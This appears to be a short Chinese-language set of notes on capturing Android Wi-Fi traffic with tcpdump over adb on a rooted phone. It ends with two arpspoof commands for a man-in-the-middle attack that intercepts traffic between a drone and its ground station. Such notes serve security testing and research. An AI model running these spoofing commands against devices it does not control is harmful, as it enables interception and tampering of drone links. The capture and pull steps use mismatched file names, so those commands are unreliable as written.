软件下载
adbhttps://developer.android.google.cn/tools/releases/platform-tools?hl=en
tcpdump https://www.androidtcpdump.com/android-tcpdump/downloads64bit
tcpdump 抓包
首先将电脑上的 tcpdump 直接推送到手机上(前提是手机 root 过
adb push tcpdump /data/local/tmp/
adb shell
su
chmod +x /data/local/tmp/tcpdump
这是我刷过 root 的手机,此时已经可以通过 adb 进行操作
然后查看抓流量的接口
ip link show
在这里我使用的是 wlan0,所以使用如下命令去抓数据包
/data/local/tmp/tcpdump -i wlan0 -s 0 -w /sdcard/wifi_traffic.pcap
在抓完后用 adb 抓到电脑用电脑打开.pcap 文件
adb pull /sdcard/app_traffic.pcap
设置过滤器
ip.src == 192.168.80.2 && ip.dst == 192.168.80.1 && udp
中间人攻击(需要外置网卡)
欺骗无人机,使其将地面站的流量发送到你
sudo arpspoof -i wlan3 -t 192.168.80.1 -r 192.168.80.2
欺骗地面站,使其将无人机的流量发送到你
sudo arpspoof -i wlan3 -t 192.168.80.2 -r 192.168.80.1